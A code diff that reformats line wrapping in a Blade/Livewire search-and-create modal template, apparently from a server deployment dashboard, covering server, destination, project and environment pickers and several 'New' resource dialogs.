||||
<svg class="animate-spin h-5 w-5 text-yellow-500"
|
||||
xmlns="http://www.w3.org/2000/svg" fill="none"
|
||||
viewBox="0 0 24 24">
|
||||
<circle class="opacity-25" cx="12" cy="12" r="10"
|
||||
stroke="currentColor" stroke-width="4"></circle>
|
||||
<path class="opacity-75" fill="currentColor"
|
||||
d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z">
|
||||
</path>
|
||||
|
|
@ -337,7 +343,8 @@ class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:
|
|||
</div>
|
||||
@elseif (count($availableServers) > 0)
|
||||
@foreach ($availableServers as $index => $server)
|
||||
<button type="button" wire:click="selectServer({{ $server['id'] }}, true)"
|
||||
<button type="button"
|
||||
wire:click="selectServer({{ $server['id'] }}, true)"
|
||||
class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg-yellow-50 dark:hover:bg-yellow-900/20 transition-colors focus:outline-none focus:bg-yellow-100 dark:focus:bg-yellow-900/30 border-b border-neutral-100 dark:border-coolgray-300 last:border-0">
|
||||
<div class="flex items-center justify-between gap-3 min-h-[2.5rem]">
|
||||
<div class="flex-1 min-w-0">
|
||||
|
|
@ -345,7 +352,8 @@ class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg
|
|||
{{ $server['name'] }}
|
||||
</div>
|
||||
@if (!empty($server['description']))
|
||||
<div class="text-xs text-neutral-500 dark:text-neutral-400">
|
||||
<div
|
||||
class="text-xs text-neutral-500 dark:text-neutral-400">
|
||||
{{ $server['description'] }}
|
||||
</div>
|
||||
@else
|
||||
|
|
@ -355,10 +363,10 @@ class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg
|
|||
@endif
|
||||
</div>
|
||||
<svg xmlns="http://www.w3.org/2000/svg"
|
||||
class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400" fill="none"
|
||||
viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
|
||||
d="M9 5l7 7-7 7" />
|
||||
class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400"
|
||||
fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-width="2" d="M9 5l7 7-7 7" />
|
||||
</svg>
|
||||
</div>
|
||||
</button>
|
||||
|
|
@ -380,10 +388,10 @@ class="p-3 bg-red-50 dark:bg-red-900/20 rounded-lg border border-red-200 dark:bo
|
|||
<button type="button"
|
||||
@click="$wire.set('searchQuery', ''); setTimeout(() => $refs.searchInput.focus(), 100)"
|
||||
class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:text-white">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none"
|
||||
viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
|
||||
d="M15 19l-7-7 7-7" />
|
||||
<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6"
|
||||
fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-width="2" d="M15 19l-7-7 7-7" />
|
||||
</svg>
|
||||
</button>
|
||||
<div>
|
||||
|
|
@ -398,11 +406,13 @@ class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:
|
|||
</div>
|
||||
</div>
|
||||
@if ($loadingDestinations)
|
||||
<div class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
|
||||
<svg class="animate-spin h-5 w-5 text-yellow-500" xmlns="http://www.w3.org/2000/svg"
|
||||
fill="none" viewBox="0 0 24 24">
|
||||
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor"
|
||||
stroke-width="4"></circle>
|
||||
<div
|
||||
class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
|
||||
<svg class="animate-spin h-5 w-5 text-yellow-500"
|
||||
xmlns="http://www.w3.org/2000/svg" fill="none"
|
||||
viewBox="0 0 24 24">
|
||||
<circle class="opacity-25" cx="12" cy="12" r="10"
|
||||
stroke="currentColor" stroke-width="4"></circle>
|
||||
<path class="opacity-75" fill="currentColor"
|
||||
d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z">
|
||||
</path>
|
||||
|
|
@ -412,22 +422,25 @@ class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:
|
|||
</div>
|
||||
@elseif (count($availableDestinations) > 0)
|
||||
@foreach ($availableDestinations as $index => $destination)
|
||||
<button type="button" wire:click="selectDestination('{{ $destination['uuid'] }}', true)"
|
||||
<button type="button"
|
||||
wire:click="selectDestination('{{ $destination['uuid'] }}', true)"
|
||||
class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg-yellow-50 dark:hover:bg-yellow-900/20 transition-colors focus:outline-none focus:bg-yellow-100 dark:focus:bg-yellow-900/30 border-b border-neutral-100 dark:border-coolgray-300 last:border-0">
|
||||
<div class="flex items-center justify-between gap-3 min-h-[2.5rem]">
|
||||
<div
|
||||
class="flex items-center justify-between gap-3 min-h-[2.5rem]">
|
||||
<div class="flex-1 min-w-0">
|
||||
<div class="font-medium text-neutral-900 dark:text-white">
|
||||
{{ $destination['name'] }}
|
||||
</div>
|
||||
<div class="text-xs text-neutral-500 dark:text-neutral-400">
|
||||
<div
|
||||
class="text-xs text-neutral-500 dark:text-neutral-400">
|
||||
Network: {{ $destination['network'] }}
|
||||
</div>
|
||||
</div>
|
||||
<svg xmlns="http://www.w3.org/2000/svg"
|
||||
class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400" fill="none"
|
||||
viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
|
||||
d="M9 5l7 7-7 7" />
|
||||
class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400"
|
||||
fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-width="2" d="M9 5l7 7-7 7" />
|
||||
</svg>
|
||||
</div>
|
||||
</button>
|
||||
|
|
@ -449,10 +462,10 @@ class="p-3 bg-red-50 dark:bg-red-900/20 rounded-lg border border-red-200 dark:bo
|
|||
<button type="button"
|
||||
@click="$wire.set('searchQuery', ''); setTimeout(() => $refs.searchInput.focus(), 100)"
|
||||
class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:text-white">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none"
|
||||
viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
|
||||
d="M15 19l-7-7 7-7" />
|
||||
<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6"
|
||||
fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-width="2" d="M15 19l-7-7 7-7" />
|
||||
</svg>
|
||||
</button>
|
||||
<div>
|
||||
|
|
@ -467,11 +480,13 @@ class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:
|
|||
</div>
|
||||
</div>
|
||||
@if ($loadingProjects)
|
||||
<div class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
|
||||
<svg class="animate-spin h-5 w-5 text-yellow-500" xmlns="http://www.w3.org/2000/svg"
|
||||
fill="none" viewBox="0 0 24 24">
|
||||
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor"
|
||||
stroke-width="4"></circle>
|
||||
<div
|
||||
class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
|
||||
<svg class="animate-spin h-5 w-5 text-yellow-500"
|
||||
xmlns="http://www.w3.org/2000/svg" fill="none"
|
||||
viewBox="0 0 24 24">
|
||||
<circle class="opacity-25" cx="12" cy="12" r="10"
|
||||
stroke="currentColor" stroke-width="4"></circle>
|
||||
<path class="opacity-75" fill="currentColor"
|
||||
d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z">
|
||||
</path>
|
||||
|
|
@ -481,15 +496,18 @@ class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:
|
|||
</div>
|
||||
@elseif (count($availableProjects) > 0)
|
||||
@foreach ($availableProjects as $index => $project)
|
||||
<button type="button" wire:click="selectProject('{{ $project['uuid'] }}', true)"
|
||||
<button type="button"
|
||||
wire:click="selectProject('{{ $project['uuid'] }}', true)"
|
||||
class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg-yellow-50 dark:hover:bg-yellow-900/20 transition-colors focus:outline-none focus:bg-yellow-100 dark:focus:bg-yellow-900/30 border-b border-neutral-100 dark:border-coolgray-300 last:border-0">
|
||||
<div class="flex items-center justify-between gap-3 min-h-[2.5rem]">
|
||||
<div
|
||||
class="flex items-center justify-between gap-3 min-h-[2.5rem]">
|
||||
<div class="flex-1 min-w-0">
|
||||
<div class="font-medium text-neutral-900 dark:text-white">
|
||||
{{ $project['name'] }}
|
||||
</div>
|
||||
@if (!empty($project['description']))
|
||||
<div class="text-xs text-neutral-500 dark:text-neutral-400">
|
||||
<div
|
||||
class="text-xs text-neutral-500 dark:text-neutral-400">
|
||||
{{ $project['description'] }}
|
||||
</div>
|
||||
@else
|
||||
|
|
@ -499,10 +517,10 @@ class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg
|
|||
@endif
|
||||
</div>
|
||||
<svg xmlns="http://www.w3.org/2000/svg"
|
||||
class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400" fill="none"
|
||||
viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
|
||||
d="M9 5l7 7-7 7" />
|
||||
class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400"
|
||||
fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-width="2" d="M9 5l7 7-7 7" />
|
||||
</svg>
|
||||
</div>
|
||||
</button>
|
||||
|
|
@ -524,10 +542,10 @@ class="p-3 bg-red-50 dark:bg-red-900/20 rounded-lg border border-red-200 dark:bo
|
|||
<button type="button"
|
||||
@click="$wire.set('searchQuery', ''); setTimeout(() => $refs.searchInput.focus(), 100)"
|
||||
class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:text-white">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none"
|
||||
viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
|
||||
d="M15 19l-7-7 7-7" />
|
||||
<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6"
|
||||
fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-width="2" d="M15 19l-7-7 7-7" />
|
||||
</svg>
|
||||
</button>
|
||||
<div>
|
||||
|
|
@ -542,11 +560,13 @@ class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:
|
|||
</div>
|
||||
</div>
|
||||
@if ($loadingEnvironments)
|
||||
<div class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
|
||||
<svg class="animate-spin h-5 w-5 text-yellow-500" xmlns="http://www.w3.org/2000/svg"
|
||||
fill="none" viewBox="0 0 24 24">
|
||||
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor"
|
||||
stroke-width="4"></circle>
|
||||
<div
|
||||
class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
|
||||
<svg class="animate-spin h-5 w-5 text-yellow-500"
|
||||
xmlns="http://www.w3.org/2000/svg" fill="none"
|
||||
viewBox="0 0 24 24">
|
||||
<circle class="opacity-25" cx="12" cy="12" r="10"
|
||||
stroke="currentColor" stroke-width="4"></circle>
|
||||
<path class="opacity-75" fill="currentColor"
|
||||
d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z">
|
||||
</path>
|
||||
|
|
@ -556,15 +576,18 @@ class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:
|
|||
</div>
|
||||
@elseif (count($availableEnvironments) > 0)
|
||||
@foreach ($availableEnvironments as $index => $environment)
|
||||
<button type="button" wire:click="selectEnvironment('{{ $environment['uuid'] }}', true)"
|
||||
<button type="button"
|
||||
wire:click="selectEnvironment('{{ $environment['uuid'] }}', true)"
|
||||
class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg-yellow-50 dark:hover:bg-yellow-900/20 transition-colors focus:outline-none focus:bg-yellow-100 dark:focus:bg-yellow-900/30 border-b border-neutral-100 dark:border-coolgray-300 last:border-0">
|
||||
<div class="flex items-center justify-between gap-3 min-h-[2.5rem]">
|
||||
<div
|
||||
class="flex items-center justify-between gap-3 min-h-[2.5rem]">
|
||||
<div class="flex-1 min-w-0">
|
||||
<div class="font-medium text-neutral-900 dark:text-white">
|
||||
{{ $environment['name'] }}
|
||||
</div>
|
||||
@if (!empty($environment['description']))
|
||||
<div class="text-xs text-neutral-500 dark:text-neutral-400">
|
||||
<div
|
||||
class="text-xs text-neutral-500 dark:text-neutral-400">
|
||||
{{ $environment['description'] }}
|
||||
</div>
|
||||
@else
|
||||
|
|
@ -574,10 +597,10 @@ class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg
|
|||
@endif
|
||||
</div>
|
||||
<svg xmlns="http://www.w3.org/2000/svg"
|
||||
class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400" fill="none"
|
||||
viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
|
||||
d="M9 5l7 7-7 7" />
|
||||
class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400"
|
||||
fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-width="2" d="M9 5l7 7-7 7" />
|
||||
</svg>
|
||||
</div>
|
||||
</button>
|
||||
|
|
@ -616,7 +639,8 @@ class="search-result-item block px-4 py-3 hover:bg-neutral-50 dark:hover:bg-cool
|
|||
<div class="flex items-center justify-between gap-3">
|
||||
<div class="flex-1 min-w-0">
|
||||
<div class="flex items-center gap-2 mb-1">
|
||||
<span class="font-medium text-neutral-900 dark:text-white truncate">
|
||||
<span
|
||||
class="font-medium text-neutral-900 dark:text-white truncate">
|
||||
{{ $result['name'] }}
|
||||
</span>
|
||||
<span
|
||||
|
|
@ -637,13 +661,15 @@ class="px-2 py-0.5 text-xs rounded-full bg-neutral-100 dark:bg-coolgray-300 text
|
|||
</span>
|
||||
</div>
|
||||
@if (!empty($result['project']) && !empty($result['environment']))
|
||||
<div class="text-xs text-neutral-500 dark:text-neutral-400 mb-1">
|
||||
<div
|
||||
class="text-xs text-neutral-500 dark:text-neutral-400 mb-1">
|
||||
{{ $result['project'] }} /
|
||||
{{ $result['environment'] }}
|
||||
</div>
|
||||
@endif
|
||||
@if (!empty($result['description']))
|
||||
<div class="text-sm text-neutral-600 dark:text-neutral-400">
|
||||
<div
|
||||
class="text-sm text-neutral-600 dark:text-neutral-400">
|
||||
{{ Str::limit($result['description'], 80) }}
|
||||
</div>
|
||||
@endif
|
||||
|
|
@ -651,8 +677,8 @@ class="px-2 py-0.5 text-xs rounded-full bg-neutral-100 dark:bg-coolgray-300 text
|
|||
<svg xmlns="http://www.w3.org/2000/svg"
|
||||
class="shrink-0 h-5 w-5 text-neutral-300 dark:text-neutral-600 self-center"
|
||||
fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
|
||||
d="M9 5l7 7-7 7" />
|
||||
<path stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-width="2" d="M9 5l7 7-7 7" />
|
||||
</svg>
|
||||
</div>
|
||||
</a>
|
||||
|
|
@ -682,15 +708,16 @@ class="search-result-item w-full text-left block px-4 py-3 hover:bg-yellow-50 da
|
|||
<div
|
||||
class="flex-shrink-0 w-10 h-10 rounded-lg bg-yellow-100 dark:bg-yellow-900/40 flex items-center justify-center">
|
||||
<svg xmlns="http://www.w3.org/2000/svg"
|
||||
class="h-5 w-5 text-yellow-600 dark:text-yellow-400" fill="none"
|
||||
viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
|
||||
d="M12 4v16m8-8H4" />
|
||||
class="h-5 w-5 text-yellow-600 dark:text-yellow-400"
|
||||
fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-width="2" d="M12 4v16m8-8H4" />
|
||||
</svg>
|
||||
</div>
|
||||
<div class="flex-1 min-w-0">
|
||||
<div class="flex items-center gap-2 mb-1">
|
||||
<div class="font-medium text-neutral-900 dark:text-white truncate">
|
||||
<div
|
||||
class="font-medium text-neutral-900 dark:text-white truncate">
|
||||
{{ $item['name'] }}
|
||||
</div>
|
||||
@if (isset($item['quickcommand']))
|
||||
|
|
@ -698,7 +725,8 @@ class="h-5 w-5 text-yellow-600 dark:text-yellow-400" fill="none"
|
|||
class="text-xs text-neutral-500 dark:text-neutral-400 shrink-0">{{ $item['quickcommand'] }}</span>
|
||||
@endif
|
||||
</div>
|
||||
<div class="text-sm text-neutral-600 dark:text-neutral-400 truncate">
|
||||
<div
|
||||
class="text-sm text-neutral-600 dark:text-neutral-400 truncate">
|
||||
{{ $item['description'] }}
|
||||
</div>
|
||||
</div>
|
||||
|
|
@ -706,8 +734,8 @@ class="text-xs text-neutral-500 dark:text-neutral-400 shrink-0">{{ $item['quickc
|
|||
<svg xmlns="http://www.w3.org/2000/svg"
|
||||
class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400 self-center"
|
||||
fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
|
||||
d="M9 5l7 7-7 7" />
|
||||
<path stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-width="2" d="M9 5l7 7-7 7" />
|
||||
</svg>
|
||||
</div>
|
||||
</button>
|
||||
|
|
@ -792,7 +820,8 @@ class="search-result-item w-full text-left block px-4 py-3 hover:bg-yellow-50 da
|
|||
class="flex-shrink-0 w-10 h-10 rounded-lg bg-yellow-100 dark:bg-yellow-900/40 flex items-center justify-center">
|
||||
<svg xmlns="http://www.w3.org/2000/svg"
|
||||
class="h-5 w-5 text-yellow-600 dark:text-yellow-400"
|
||||
fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
fill="none" viewBox="0 0 24 24"
|
||||
stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-width="2" d="M12 4v16m8-8H4" />
|
||||
</svg>
|
||||
|
|
@ -860,10 +889,12 @@ class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400 self-center"
|
|||
if (firstInput) firstInput.focus();
|
||||
}, 200);
|
||||
}
|
||||
})" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
|
||||
<div x-show="modalOpen" x-transition:enter="ease-out duration-100" x-transition:enter-start="opacity-0"
|
||||
x-transition:enter-end="opacity-100" x-transition:leave="ease-in duration-100"
|
||||
x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0" @click="modalOpen=false"
|
||||
})"
|
||||
class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
|
||||
<div x-show="modalOpen" x-transition:enter="ease-out duration-100"
|
||||
x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
|
||||
x-transition:leave="ease-in duration-100" x-transition:leave-start="opacity-100"
|
||||
x-transition:leave-end="opacity-0" @click="modalOpen=false"
|
||||
class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
|
||||
<div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
|
||||
x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
|
||||
|
|
@ -876,8 +907,8 @@ class="relative w-full py-6 border rounded-sm drop-shadow-sm min-w-full lg:min-w
|
|||
<h3 class="text-2xl font-bold">New Project</h3>
|
||||
<button @click="modalOpen=false"
|
||||
class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning">
|
||||
<svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
|
||||
stroke-width="1.5" stroke="currentColor">
|
||||
<svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none"
|
||||
viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
|
||||
</svg>
|
||||
</button>
|
||||
|
|
@ -900,10 +931,12 @@ class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5
|
|||
if (firstInput) firstInput.focus();
|
||||
}, 200);
|
||||
}
|
||||
})" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
|
||||
<div x-show="modalOpen" x-transition:enter="ease-out duration-100" x-transition:enter-start="opacity-0"
|
||||
x-transition:enter-end="opacity-100" x-transition:leave="ease-in duration-100"
|
||||
x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0" @click="modalOpen=false"
|
||||
})"
|
||||
class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
|
||||
<div x-show="modalOpen" x-transition:enter="ease-out duration-100"
|
||||
x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
|
||||
x-transition:leave="ease-in duration-100" x-transition:leave-start="opacity-100"
|
||||
x-transition:leave-end="opacity-0" @click="modalOpen=false"
|
||||
class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
|
||||
<div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
|
||||
x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
|
||||
|
|
@ -916,8 +949,8 @@ class="relative w-full py-6 border rounded-sm drop-shadow-sm min-w-full lg:min-w
|
|||
<h3 class="text-2xl font-bold">New Server</h3>
|
||||
<button @click="modalOpen=false"
|
||||
class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning">
|
||||
<svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
|
||||
stroke-width="1.5" stroke="currentColor">
|
||||
<svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none"
|
||||
viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
|
||||
</svg>
|
||||
</button>
|
||||
|
|
@ -940,10 +973,12 @@ class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5
|
|||
if (firstInput) firstInput.focus();
|
||||
}, 200);
|
||||
}
|
||||
})" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
|
||||
<div x-show="modalOpen" x-transition:enter="ease-out duration-100" x-transition:enter-start="opacity-0"
|
||||
x-transition:enter-end="opacity-100" x-transition:leave="ease-in duration-100"
|
||||
x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0" @click="modalOpen=false"
|
||||
})"
|
||||
class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
|
||||
<div x-show="modalOpen" x-transition:enter="ease-out duration-100"
|
||||
x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
|
||||
x-transition:leave="ease-in duration-100" x-transition:leave-start="opacity-100"
|
||||
x-transition:leave-end="opacity-0" @click="modalOpen=false"
|
||||
class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
|
||||
<div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
|
||||
x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
|
||||
|
|
@ -956,8 +991,8 @@ class="relative w-full py-6 border rounded-sm drop-shadow-sm min-w-full lg:min-w
|
|||
<h3 class="text-2xl font-bold">New Team</h3>
|
||||
<button @click="modalOpen=false"
|
||||
class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning">
|
||||
<svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
|
||||
stroke-width="1.5" stroke="currentColor">
|
||||
<svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none"
|
||||
viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
|
||||
</svg>
|
||||
</button>
|
||||
|
|
@ -980,10 +1015,12 @@ class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5
|
|||
if (firstInput) firstInput.focus();
|
||||
}, 200);
|
||||
}
|
||||
})" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
|
||||
<div x-show="modalOpen" x-transition:enter="ease-out duration-100" x-transition:enter-start="opacity-0"
|
||||
x-transition:enter-end="opacity-100" x-transition:leave="ease-in duration-100"
|
||||
x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0" @click="modalOpen=false"
|
||||
})"
|
||||
class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
|
||||
<div x-show="modalOpen" x-transition:enter="ease-out duration-100"
|
||||
x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
|
||||
x-transition:leave="ease-in duration-100" x-transition:leave-start="opacity-100"
|
||||
x-transition:leave-end="opacity-0" @click="modalOpen=false"
|
||||
class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
|
||||
<div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
|
||||
x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
|
||||
|
|
@ -996,8 +1033,8 @@ class="relative w-full py-6 border rounded-sm drop-shadow-sm min-w-full lg:min-w
|
|||
<h3 class="text-2xl font-bold">New S3 Storage</h3>
|
||||
<button @click="modalOpen=false"
|
||||
class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning">
|
||||
<svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
|
||||
stroke-width="1.5" stroke="currentColor">
|
||||
<svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none"
|
||||
viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
|
||||
</svg>
|
||||
</button>
|
||||
|
|
@ -1020,10 +1057,12 @@ class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5
|
|||
if (firstInput) firstInput.focus();
|
||||
}, 200);
|
||||
}
|
||||
})" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
|
||||
<div x-show="modalOpen" x-transition:enter="ease-out duration-100" x-transition:enter-start="opacity-0"
|
||||
x-transition:enter-end="opacity-100" x-transition:leave="ease-in duration-100"
|
||||
x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0" @click="modalOpen=false"
|
||||
})"
|
||||
class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
|
||||
<div x-show="modalOpen" x-transition:enter="ease-out duration-100"
|
||||
x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
|
||||
x-transition:leave="ease-in duration-100" x-transition:leave-start="opacity-100"
|
||||
x-transition:leave-end="opacity-0" @click="modalOpen=false"
|
||||
class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
|
||||
<div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
|
||||
